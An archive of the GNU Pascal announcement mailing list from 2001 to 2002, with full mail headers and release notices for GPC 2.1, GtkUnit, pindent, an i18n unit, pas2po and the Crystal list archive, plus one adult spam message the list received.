Mailing-List Subject: pindent (the pascal source-code indentation program) is now available Hello GPC-community! pindent (the pascal source-code indentation program) is now available. You can download the complete source from http://mond.dida.physik.uni-essen.de/~pindent/ . The mailing list address (e.g. for comments or bug-reports ... ) is pindent@mond.dida.physik.uni-essen.de . In the next days (I hope so) pindent runs as a GNU program and the copyright is transfered to the FSF. pindent is now released with version V0.1.3 (20010108). We (Eike Lange and I) are heavy working on it because this version doesn't support all features (but the most of them) and the program isn't 100% bug free. I'm maintain this little project and Eike Lange is the co-maintainer. Please feel free to test the program and write us your suggestions. Thorsten Hindermann ----- End forwarded message ----- From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 2877 invoked from network); 28 Feb 2001 02:37:42 -0000 Received: from esmeralda.gerwinski.de (root@194.221.119.18) by tim.gerwinski.de with SMTP; 28 Feb 2001 02:37:42 -0000 Received: (from peter@localhost) by esmeralda.gerwinski.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id DAA23710 for gpc-announce@gnu.de; Wed, 28 Feb 2001 03:37:21 +0100 Received: (qmail 2831 invoked from network); 28 Feb 2001 02:35:07 -0000 Received: from unknown (HELO number?666.example.net) (root@194.243.129.241) by tim.gerwinski.de with SMTP; 28 Feb 2001 02:35:07 -0000 Received: from number_666.example.net (nikke@localhost [127.0.0.1]) by number_666.example.net (8.10.2/8.10.2) with ESMTP id f1S1YmD19190 for ; Wed, 28 Feb 2001 02:34:49 +0100 Date: Wed, 28 Feb 2001 02:34:49 +0100 Message-Id: <200102280134.f1S1YmD19190@number_666.example.net> MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii From: Nicola Girardi To: gpc-announce@gnu.de Subject: GtkUnit-20010228 ANNOUNCEMENT X-Counter: 0 gpc-announce@gnu.de Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi, everybody! This is to announce the first public release of GtkUnit. (No real version number by now, just the timestamp "20010228".) GtkUnit is a set of units, test programs and programs from the Gtk+ tutorial written in GPC to allow Pascal programmers to use a comfortable interface to the Gtk+ library. GtkUnit should compile and work successfully on every system supported by GPC with a working Gtk+ library installation. We (Eike and I) invite anyone to code their own programs and help us find out bugs, often due to typos during the port process. In fact, no automagic translator was used. The main web site of the Gtk+ port project is reachable at . In the future, this will contain the updated information about the project as well as pointers to projects based on GtkUnit (in case there are any;-)). I won't be reachable for 4/5 days, because I will be on a school trip, so write to Eike Lange instead. We hope we'll get bug reports (and fixes;-)), but also some thanks would be appreciated. :-PP Thanks to Frank Heckenbach for his advice! Have much fun with GtkUnit! -- Nicola Girardi From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 4913 invoked by uid 10); 22 Mar 2001 00:02:08 -0000 Received: (from peter@localhost) by miez.drewitz.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id AAA00964 for gpc-announce@gnu.de; Thu, 22 Mar 2001 00:52:52 +0100 Received: (qmail 2277 invoked from network); 21 Mar 2001 15:16:04 -0000 Received: from ip-a1-33007.keycomm.it (HELO mail.keycomm.it) (root@62.152.33.7) by tim.gerwinski.de with SMTP; 21 Mar 2001 15:16:04 -0000 Received: from junkie (nikke@ip-a1-35081.keycomm.it [62.152.35.81]) by mail.keycomm.it (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA29439 for ; Wed, 21 Mar 2001 16:12:58 +0100 Date: Wed, 21 Mar 2001 16:12:58 +0100 Message-Id: <200103211512.QAA29439@mail.keycomm.it> X-Authentication-Warning: mail.keycomm.it: Host nikke@ip-a1-35081.keycomm.it [62.152.35.81] claimed to be junkie MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii From: Nicola Girardi To: gpc-announce@gnu.de Subject: Gtk+ Port -- New snapshot available X-Counter: 1 gpc-announce@gnu.de Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi Folks!! A new snapshot is available on agnes, in my public FTP directory. (pub/home/nicola/gtkunit) Changes: more tutorial programs, lots of bugs have been fixed (there will still be many ;)). -- Nicola Girardi From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 13691 invoked by uid 10); 2 May 2001 20:56:35 -0000 Received: (from peter@localhost) by miez.drewitz.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id WAA17512 for gpc-announce@gnu.de; Wed, 2 May 2001 22:48:56 +0200 Received: (qmail 7379 invoked from network); 2 May 2001 16:59:03 -0000 Received: from ip-a1-33007.keycomm.it (HELO mail.keycomm.it) (root@62.152.33.7) by tim.gerwinski.de with SMTP; 2 May 2001 16:59:02 -0000 Received: from ip-a1-35093.keycomm.it (mail@ip-a1-35093.keycomm.it [62.152.35.93]) by mail.keycomm.it (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id SAA16959 for ; Wed, 2 May 2001 18:56:18 +0200 Received: from 192.168.1.1 by milkplus.warez.linux.it with esmtp (MasqMail 0.1.14) id 14uzz0-0Ck-00 for gpc-announce@gnu.de; Wed, 02 May 2001 19:00:10 +0200 Date: Wed, 2 May 2001 19:00:10 +0200 (CEST) From: Nicola Girardi X-X-Sender: To: Subject: GtkUnits-1.2.10-20010502 Release Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi GPC Folks!! This is to announce a new snapshot of the GTK+ unit set. The GTK+ GL library has been introduced! Useful links: For details about the GTK+ GL library: http://www.student.oulu.fi/~jlof/gtkglarea/ To download the new snapshot: http://agnes.dida.physik.uni-essen.de/~nicola/GtkUnits ftp://agnes.dida.physik.uni-essen.de/pub/home/nicola/GtkUnits Greetings, -- Nicola Girardi From gpc-announce Thu Jan 01 00:00:00 2002 Delivered-To: gpc-announce@gerwinski.de Received: (qmail 2316 invoked by uid 10); 2 Jun 2001 20:54:09 -0000 Received: (from peter@localhost) by miez.drewitz.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id WAA00448 for gpc-announce@gnu.de; Sat, 2 Jun 2001 22:55:37 +0200 Received: (qmail 26550 invoked from network); 2 Jun 2001 14:58:49 -0000 Received: from ip-a1-33007.keycomm.it (HELO mail.keycomm.it) (root@62.152.33.7) by tim.gerwinski.de with SMTP; 2 Jun 2001 14:58:49 -0000 Received: from ip-a1-35090.keycomm.it (mail@ip-a1-35090.keycomm.it [62.152.35.90]) by mail.keycomm.it (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id QAA28519 for ; Sat, 2 Jun 2001 16:53:14 +0200 Received: from 192.168.1.1 by ux.warez.linux.it with esmtp (MasqMail 0.1.14) id 156Cff-0eX-00 for gpc-announce@gnu.de; Sat, 02 Jun 2001 16:46:31 +0200 Subject: GtkUnits-20010602 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii From: Nicola Girardi To: gpc-announce@gnu.de X-Mailer: semail 0.06 Date: Sat, 02 Jun 2001 16:46:31 +0200 Message-ID: <156Cff-0eX-00@ux.warez.linux.it> Sender: owner-gpc-announce@gnu.de Precedence: bulk Hi GPC People!! Quite sadly I still have got *no* feedback )-: for the GtkUnits package, but anyway I kept on working on it. The URL is always the same: . Here's an excerpt from the ChangeLog file after the last release. Most important is the introduction of the GdkPixbuf units. I hope someone will be using these units some day. : Sat 2 Jun 2001 16:00 Nicola Girardi : : * Added gdk-pixbuf/gdkpixbufloader.pas. : : * Added a test program which shows the nice penguin logo in : PNG format. : : * Reverted top level Makefile to old name mask as the sub : packages number is growing. New `make advice'. : : Mon 28 May 2001 18:34 Nicola Girardi : : * Removed {$L gtk/glib/etc.} in gtk.inc and others. Use : gtk-config, glib-config etc., that's smarter. : : * Updated README. : : Tue 22 May 2001 22:49 Nicola Girardi : : * Changed directory structure for gtk-tutorial (now : tutorial/) removed subdirectories, adjusted Makefile. : : Sun 13 May 2001 10:35 Nicola Girardi : : * Removed stale gtk-tutorial/selection/selectionc.c, fixed : the compilation bug in gettargets.pas, fixed selection.pas. : : Sun 13 May 2001 7:56 Nicola Girardi : : * Started porting of gdk-pixbuf. (Image loading library.) : gdk-pixbuf/gdkpixbuf.pas completed. : : Sun 6 May 2001 10:56 Nicola Girardi : : * GLIB logging functions stripped out. No need for the printf() : function family under Pascal. Maybe in the future a set of logging : functions will be implemented using Write as the backend. Regards, Nick From gpc-announce-owner@gnu.de Mon Sep 17 11:08:24 2001 Received: from mercury.sun.com ([::ffff:192.9.25.1]) by adele.gerwinski.de with esmtp (Exim 3.12 #1 (Debian)) id 15itMf-0006a8-00 for ; Mon, 17 Sep 2001 10:02:49 +0200 Received: from hugin.Belgium.Sun.COM ([129.159.231.11]) by mercury.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id BAA11183 for ; Mon, 17 Sep 2001 01:02:37 -0700 (PDT) Received: from belgium.sun.com (sr-ebru03-02 [129.159.234.14]) by hugin.Belgium.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id KAA11279 for ; Mon, 17 Sep 2001 10:02:36 +0200 (MEST) Message-ID: <3BA5AE1C.E9A4564@belgium.sun.com> Date: Mon, 17 Sep 2001 10:02:36 +0200 From: cindy scheveneels Reply-To: Cindy.Scheveneels@Sun.COM Organization: Sun Microsystems X-Mailer: Mozilla 4.76C-CCK-MCD Netscape [en] (X11; U; SunOS 5.8 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: gpc-announce@gnu.de Subject: Solaris 8 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Archive-Number: 200109/1 X-Sequence-Number: 1 Hi, I'm searching for a Pascal compiler which is supported on Solaris 8. On the GNU website, I only find Solaris 7... Is there a version for Solaris 8 too (or on roadmap or whatever). Thanx! Cindy -- --------------------------------------------------------------------- SUN MICROSYSTEMS "Take it to the nth" --------------------------------------------------------------------- Cindy Scheveneels Sun Microsystems Belgium Junior Technology System Engineer Lozenberg 15, B-1932 Zaventem mailto: Phone (32)2-704 81 55 cindy.scheveneels@belgium.sun.com Fax (32)2-704 80 01 http://www.sun.be Mobile (32)474-90 17 26 --------------------------------------------------------------------- News travels fast - but does it travel to YOU? Make sure you get Sun's latest updates, subscribe today to one of our newsletters: http://www.sun.com/newsletters for iForce partners: http://sun.systemnews.com/ --------------------------------------------------------------------- From gpc-announce-owner@gnu.de Mon Sep 17 22:18:42 2001 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.12 #1 (Debian)) id 15j4mH-0000rI-00; Mon, 17 Sep 2001 22:14:01 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id VAA06678; Mon, 17 Sep 2001 21:47:19 +0200 Date: Mon, 17 Sep 2001 21:47:19 +0200 Message-Id: <200109171947.VAA06678@goedel.fjf.gnu.de> Subject: Re: Solaris 8 MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii To: Cindy.Scheveneels@Sun.COM, gpc-announce@gnu.de, gpc@gnu.de References: <3BA5AE1C.E9A4564@belgium.sun.com> Reply-To: Cindy.Scheveneels@Sun.COM, gpc@gnu.de From: Frank Heckenbach X-Mailer: semail 0.091 X-Archive-Number: 200109/2 X-Sequence-Number: 2 > I'm searching for a Pascal compiler which is supported on Solaris 8. > On the GNU website, I only find Solaris 7... Is there a version for > Solaris 8 too (or on roadmap or whatever). GPC works well under Solaris 8 (only the web site hadn't been updated -- I will update it now). I suggest you compile it from the sources. If you can't do that, perhaps someone on the list (I'm redirecting this to the normal discussion list) can give you a binary. Frank -- Frank Heckenbach, frank@g-n-u.de http://fjf.gnu.de/ PGP and GPG keys: http://fjf.gnu.de/plan From gpc-announce-owner@gnu.de Sun Sep 30 23:37:32 2001 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.12 #1 (Debian)) id 15nnmw-0002Ys-00 for ; Sun, 30 Sep 2001 23:06:14 +0200 Received: (from peter@localhost) by miez.drewitz.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) id XAA01253 for gpc-announce@gnu.de; Sun, 30 Sep 2001 23:06:10 +0200 Date: Sun, 30 Sep 2001 23:06:10 +0200 From: Peter Gerwinski To: gpc-announce@gnu.de Subject: New GPC version uploaded Message-ID: <20010930230610.A1180@miez.drewitz.de> Mail-Followup-To: gpc-announce@gnu.de Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 1.0.1i X-Archive-Number: 200109/3 X-Sequence-Number: 3 Hello, a new version `gpc-20010924' of the GNU Pascal Compiler has been uploaded to the usual place: ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/alpha/ It is also available via anonymous CVS. For more information see our web site: http://agnes.dida.physik.uni-essen.de/~gnu-pascal/ Have fun, Peter -- http://home.pages.de/~Peter.Gerwinski/ - G-N-U GmbH: http://www.g-n-u.de Maintainer GNU Pascal - http://home.pages.de/~GNU-Pascal/ - gpc-20010924 GnuPG key fingerprint: 9E7C 0FC4 8A62 5536 1730 A932 9834 65DB 2143 9422 keys: http://www.gerwinski.de/pubkeys/ - AntiSpam: http://spam.abuse.net From gpc-announce-owner@gnu.de Fri Oct 5 22:01:37 2001 Received: from rs08.hrz.uni-essen.de ([::ffff:132.252.184.8]) by adele.gerwinski.de with esmtp (Exim 3.12 #1 (Debian)) id 15pSFH-0004Bs-00 for ; Fri, 05 Oct 2001 12:30:19 +0200 Received: from mond.dida.physik.uni-essen.de ([132.252.78.233]) by rs08.hrz.uni-essen.de with esmtp (Exim 3.22 #4) id 15pSFB-0006b2-1k for gpc-announce@gnu.de; Fri, 05 Oct 2001 12:30:13 +0200 Received: from lange by mond.dida.physik.uni-essen.de with local (Exim 3.32 #1 (Debian)) id 15pSFd-0007YS-00 for ; Fri, 05 Oct 2001 12:30:41 +0200 Date: Fri, 5 Oct 2001 12:30:41 +0200 From: Eike Lange To: gpc-announce@gnu.de Subject: Unit for internationalization (i18n) ANNOUNCEMENT Message-ID: <20011005123041.A29004@mond.dida.physik.uni-essen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.22i X-Archive-Number: 200110/1 X-Sequence-Number: 4 Welcome to the wonderful world of INTERNATIONALIZATION (i18n). This unit provides the powerful mechanism of national language support by accessing .mo files. It includes: locales (not xlocales, because its just 'draft') and libintl. Actually, there are no tools available, so you have to create your .po files by hand. See documentation for gettext ('info gettext') for details. You can download the actual sources via ftp from: agnes.dida.physik.uni-essen.de/pub/home/lange/ Filename is inter-20011005.tar.gz Missing is a tool for creating .po files out of .pas files (like 'xgettext'). Are YOU interested? 2001-10-05 Eike Lange From gpc-announce-owner@gnu.de Sun Oct 14 23:02:13 2001 Received: from anchor-post-33.mail.demon.net ([::ffff:194.217.242.91]) by adele.gerwinski.de with esmtp (Exim 3.12 #1 (Debian)) id 15sqGS-0005yd-00 for ; Sun, 14 Oct 2001 20:45:32 +0200 Received: from jsparchitecture.demon.co.uk ([194.222.139.55] helo=jsp01.jsparchitecture.com) by anchor-post-33.mail.demon.net with esmtp (Exim 2.12 #1) id 15sqG7-000P8B-0X; Sun, 14 Oct 2001 19:45:12 +0100 Received: from aol.com (CPE-203-45-229-97.qld.bigpond.net.au [203.45.229.97]) by jsp01.jsparchitecture.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id 4QP9C7RJ; Sun, 14 Oct 2001 19:55:53 +0100 Message-Id: Date: Mon, Oct 2001 4:47:10 From: aromatherapy@aol.com Mime-Version: 1.0 To: Subject: CELEBS ALL NAKED :-) Content-Type: text/html; charset="us-ascii" X-Archive-Number: 200110/2 X-Sequence-Number: 5 Celeb Depot! The hottest celebs in xxx action!

You have received this because you opted into a adult mailing list.
If you would like to be removed Please CLICK HERE


From gpc-announce-owner@gnu.de Fri Nov 16 00:27:57 2001 Received: from rs08.hrz.uni-essen.de ([::ffff:132.252.184.8]) by adele.gerwinski.de with esmtp (Exim 3.12 #1 (Debian)) id 164NsR-0004zY-00 for ; Thu, 15 Nov 2001 15:52:27 +0100 Received: from mond.dida.physik.uni-essen.de ([132.252.78.233]) by rs08.hrz.uni-essen.de with esmtp (Exim 3.22 #4) id 164NsQ-000BaC-1k for gpc-announce@gnu.de; Thu, 15 Nov 2001 15:52:26 +0100 Received: from lange by mond.dida.physik.uni-essen.de with local (Exim 3.32 #1 (Debian)) id 164Ooc-0003zM-00 for ; Thu, 15 Nov 2001 16:52:34 +0100 Date: Thu, 15 Nov 2001 16:52:34 +0100 From: Eike Lange To: gpc-announce@gnu.de Subject: ANNOUNCEMENT: pas2po Message-ID: <20011115165234.C14074@mond.dida.physik.uni-essen.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.3.23i X-Archive-Number: 200111/1 X-Sequence-Number: 6 Hi Folks! I finished writing a tool, similar to `xgettext' named `pas2po'. This program extracts all translatable strings out of a GNU Pascal source file and creates a po file, similar to xgettext. Missing is the timezone information. The output is not sorted, but there are no duplicate entries. Like xgettext output, you have to edit the file by hand to include the missing informations. (Later on, you can process this po file with `msgfmt' to create a mo file) You can download the actual sources via ftp from: agnes.dida.physik.uni-essen.de/pub/home/lange/pas2po-0.2.tar.gz See, that this is _completely_ different from that in inter-unit (tools), but shares the same name. I'll remove the one in inter-unit. Eike From gpc-announce-owner@gnu.de Tue Nov 20 16:28:05 2001 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.12 #1 (Debian)) id 165zGb-0005Tz-00 for ; Tue, 20 Nov 2001 02:00:01 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id BAA29506 for ; Tue, 20 Nov 2001 01:56:50 +0100 Date: Tue, 20 Nov 2001 01:56:50 +0100 Message-Id: <200111200056.BAA29506@goedel.fjf.gnu.de> Subject: Crystal-0.90 released MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 0.091 X-Archive-Number: 200111/2 X-Sequence-Number: 7 This is to announce the first public release of crystal. Crystal is a web based mailing list archive. It is still under development, and some planned interesting features are still missing, but it should run stable already and has been tested (on some private lists) for several months. The main functionality of crystal is: - Archive incoming mails and make them accessible by date, author, subject, thread, topic, etc. - Do not require the archive to be updated regularly by a special command. Instead, each mail is visible as soon as it's received. - Make attachments accessible. - Provide a search function. - Allow authenticated and anonymous access (as configured by the administrator). - Let users send mails to the list via WWW (optionally anonymously). - Provide user administration where users can change, add and remove email addresses and change their passwords and other settings via WWW (optionally). - Can be configured either via config files or in the source. Crystal is free software (GNU GPL) and was written for GNU Pascal. More information and the sources for download can be found at http://fjf.gnu.de/crystal/ Frank -- Frank Heckenbach, frank@g-n-u.de http://fjf.gnu.de/ PGP and GPG keys: http://fjf.gnu.de/plan From gpc-announce-owner@gnu.de Sat Nov 24 08:03:47 2001 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.12 #1 (Debian)) id 167A8I-0001Al-00 for ; Fri, 23 Nov 2001 07:48:18 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id HAA26710 for ; Fri, 23 Nov 2001 07:36:51 +0100 Date: Fri, 23 Nov 2001 07:36:51 +0100 Message-Id: <200111230636.HAA26710@goedel.fjf.gnu.de> Subject: Mailing list archive MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 0.091 X-Archive-Number: 200111/3 X-Sequence-Number: 8 I have set up a new archive of the GPC mailing list, using crystal (see my other announcement). It can be found at: http://fjf.gnu.de/crystal/gpc/en/ (English) http://fjf.gnu.de/crystal/gpc/de/ (German) If there are any problems with the archive, please report them to me. Frank -- Frank Heckenbach, frank@g-n-u.de http://fjf.gnu.de/ PGP and GPG keys: http://fjf.gnu.de/plan From gpc-announce-owner@gnu.de Wed Dec 12 23:59:10 2001 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.12 #1 (Debian)) id 16EI79-0006ki-00 for ; Wed, 12 Dec 2001 23:44:35 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id XAA21914 for ; Wed, 12 Dec 2001 23:42:59 +0100 Date: Wed, 12 Dec 2001 23:42:59 +0100 Message-Id: <200112122242.XAA21914@goedel.fjf.gnu.de> Subject: GPC 2.1 RC 1 released MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20011202 X-Archive-Number: 200112/1 X-Sequence-Number: 9 Hi everyone, GPC version 20011202 has been uploaded to the usual places, CVS and FTP: ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/current/gpc-20011202.tar.gz We consider this version the Release Candidate #1 for the upcoming GPC 2.1 release. Many things have changed since the last announced version. (Please see the `Done' section of the To-Do list and the `News' chapter in the manual or on the homepage for details.) Though many bugs have been fixed since the last version, there is still a number of known bugs left, some of which are longstanding issues that will take some time to be fixed. Therefore, according to a discussion in gpc@gnu.de, we have decided to make a 2.1 release now, anyway. This version has been tested successfully (i.e., the test suite ran without failures -- except martin2a.pas and fjf434c.pas on some platforms which should have been moved to knownbugs, and will be further investigated before the final release) on the following systems: i586-pc-linux-gnulibc1 (gcc-2.8.1) i586-pc-linux-gnulibc1 (gcc-2.95.3) i386-pc-msdosdjgpp (gcc-2.8.1) sparc-sun-solaris2.6 (gcc-2.95.2) mips-sgi-irix6.5 (gcc-2.95.2) alpha-dec-osf4.0b (gcc-2.95.3) Test reports from other systems are welcome. If you find new or especially important bugs, or very important missing features, let us know so we can perhaps fix them before 2.1. Any major changes, however, will not be done in the 2.1 source tree, but rather in the next alpha versions leading to 2.2. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/ GPC To-Do list, latest features, fixed bugs: http://agnes.dida.physik.uni-essen.de/~gnu-pascal/todo.html From gpc-announce-owner@gnu.de Tue Dec 25 04:49:21 2001 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.12 #1 (Debian)) id 16I2VD-0001WM-00 for ; Sun, 23 Dec 2001 07:52:55 +0100 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id HAA08217 for ; Sun, 23 Dec 2001 07:52:16 +0100 Date: Sun, 23 Dec 2001 07:52:16 +0100 Message-Id: <200112230652.HAA08217@goedel.fjf.gnu.de> Subject: GPC 2.1 RC 2 released MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii To: gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20011202 X-Archive-Number: 200112/2 X-Sequence-Number: 10 Hi everyone, GPC version 20011222, the release candidate #2 for GPC 2.1, has been uploaded to the usual places, CVS and FTP: ftp://agnes.dida.physik.uni-essen.de/gnu-pascal/current/gpc-20011222.tar.gz The main changes made since RC 1 are in the searching of unit source and GPI files (thanks to a bug report by The Chief), the handling of packed arrays (thanks to a bug report by Emil Jerabek) and set constructors (due to some bugs found by myself). If you use any of these things, you might want to check if the changes didn't break any of your code. There is also one new "feature", the Intl (internationalization) unit by Eike Lange. (I know that normally one should not do major additions so short before a release, but the unit is completely separate from the rest of the compiler and run time system, so even a very unlikely fatal bug would not affect the stability of the whole system.) Again, I've tested it on some systems, test reports from other systems are welcome, and if you find new or especially important bugs, or very important missing features, please report them. Merry Xmas, Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/ GPC To-Do list, latest features, fixed bugs: http://agnes.dida.physik.uni-essen.de/~gnu-pascal/todo.html From gpc-announce-owner@gnu.de Wed Apr 3 16:46:03 2002 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.12 #1 (Debian)) id 16sZ6z-00020t-00; Wed, 03 Apr 2002 02:58:53 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id CAA09038; Wed, 3 Apr 2002 02:52:34 +0200 Date: Wed, 3 Apr 2002 02:52:34 +0200 Message-Id: <200204030052.CAA09038@goedel.fjf.gnu.de> Subject: GPC 2.1 RC 5 released; New URL MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii To: gpc@gnu.de, gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20020320 X-Archive-Number: 200204/1 X-Sequence-Number: 11 Hi everyone, GPC version 20020402, the release candidate #5 for GPC 2.1, has been uploaded to http://www.gnu-pascal.de/current/gpc-20020402.tar.gz A diff against RC 4 can be found at http://www.gnu-pascal.de/current/gpc-20020318-20020402.diff.gz The home page of GPC is now http://www.gnu-pascal.de/ The download area has moved to the same URL. All the downloads are now offered via HTTP rather than FTP. Apart from the move, the changes since RC 4 are quite minor, so there is some real hope that this is the final RC. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html From gpc-announce-owner@gnu.de Mon May 6 12:22:56 2002 Received: from uucp by adele.gerwinski.de with local-rmail (Exim 3.12 #1 (Debian)) id 172H2l-00021F-00; Mon, 29 Apr 2002 21:42:39 +0200 Received: from goedel.fjf.gnu.de (localhost [127.0.0.1]) by goedel.fjf.gnu.de (8.8.8/8.8.8) with ESMTP id VAA21998; Mon, 29 Apr 2002 21:19:06 +0200 Date: Mon, 29 Apr 2002 21:19:06 +0200 Message-Id: <200204291919.VAA21998@goedel.fjf.gnu.de> Subject: WWW upload form MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii To: gpc@gnu.de, gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20020320 X-Archive-Number: 200205/1 X-Sequence-Number: 12 Hi everyone, there is now a WWW upload form at http://gnu-pascal.de/contrib/upload.html If you would like to offer some GPC contributions, you can now upload them via this form. But, of course, other ways are also still possible, e.g. sending the files to me by email. If you'd like to make regular uploads, you might want to contact me about getting your own account. Frank -- Frank Heckenbach, frank@g-n-u.de, http://fjf.gnu.de/, 7977168E GPC To-Do list, latest features, fixed bugs: http://www.gnu-pascal.de/todo.html From gpc-announce-owner@gnu.de Sat May 11 19:18:22 2002 Received: from localhost ([::ffff:127.0.0.1] helo=adele.gerwinski.de) by adele.gerwinski.de with esmtp (Exim 3.12 #1 (Debian)) id 176FxB-0001c3-00; Fri, 10 May 2002 21:21:21 +0200 Subject: GPC 2.1 released MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=us-ascii To: gpc@gnu.de,gpc-announce@gnu.de From: Frank Heckenbach X-Mailer: semail 20020505 Message-Id: Date: Fri, 10 May 2002 21:21:21 +0200 X-Archive-Number: 200205/2 X-Sequence-Number: 13 This is the announcement of GNU Pascal, version 2.1 which is now available from http://www.gnu-pascal.de/current/ Binaries for some platforms are available in a subdirectory http://www.gnu-pascal.de/binary/ Binaries for more platforms will follow soon and will be announced on the GPC mailing list which is archived at http://www.gnu-pascal.de/crystal/gpc/en/ About GNU Pascal ================ The GNU Pascal Compiler (GPC) is part of the GNU compiler family, GNU CC or GCC. It combines a Pascal front-end with the proven GNU C back-end for code generation and optimization. Unlike utilities such as p2c, this is a true compiler, not just a converter. The purpose of the GNU Pascal project is to produce a Pascal compiler which * combines the clarity of Pascal with powerful tools suitable for real-life programming, * supports both the Pascal standard and the Extended Pascal standard as defined by ISO, ANSI and IEEE (ISO 7185:1990, ISO/IEC 10206:1991, ANSI/IEEE 770X3.160-1989), * supports other Pascal standards (UCSD Pascal, Borland Pascal, parts of Borland Delphi and Pascal-SC) in so far as this serves the goal of clarity and usability, * may be distributed under GNU license conditions, and * can generate code for and run on any computer for which the GNU C compiler can generate code and run on. Pascal was originally designed for teaching. GNU Pascal provides a smooth way to proceed to challenging programming tasks without learning a completely different language. The current release GPC 2.1 implements Standard Pascal (ISO 7185, levels 0 and 1), a large subset of Extended Pascal (ISO 10206, aiming for full compliance), is highly compatible to Borland Pascal (version 7.0) with some Delphi extensions, and provides a lot of useful GNU extensions. For more information about GNU Pascal, see http://www.gnu-pascal.de Changes since the previous release ================================== The previous release (GPC 2.0) was more than five years ago. Since then, there have been numerous alpha and beta versions and literally hundreds of new features and bug fixes. Trying to list them here, even if only as a summary, would be far beyond the scope of such an announcement. You can find descriptions of the new features since 1999-01-18 at http://www.gnu-pascal.de/current/news-2.1.html and a detailed list of all new features and bug fixes since 1997-11-01 at http://www.gnu-pascal.de/current/done-2.1.html In short, a large number of bugs have been fixed, so GPC 2.1 works much more stable than its predecessor versions. Also, many relics that made it sometimes look somewhat like a C compiler rather than a Pascal compiler have been cleared up. Compared to GPC 2.0, the support of ISO 7185 Standard Pascal as well as Borland Pascal has been mostly completed. Borland Pascal support includes object oriented programming and a set of compatibility units. Much of ISO 10206 Extended Pascal is now supported, including schema types (i.e., types whose size can vary at runtime), complex numbers, set extensions and more. Some features of other Pascal standards and dialects are supported, such as operator overloading (Pascal-SC) and some OOP extensions (Delphi). GPC also contains many extensions not found in other Pascal compilers, e.g. to ease the interfacing with C and other languages in a portable way, and to work with files, directories, dates and more, mostly independent of the underlying operating system. A number of useful units is included with GPC, such as `RegEx' (regular expressions), `GMP' (arithmetic with integer, rational and real numbers of unlimited size), 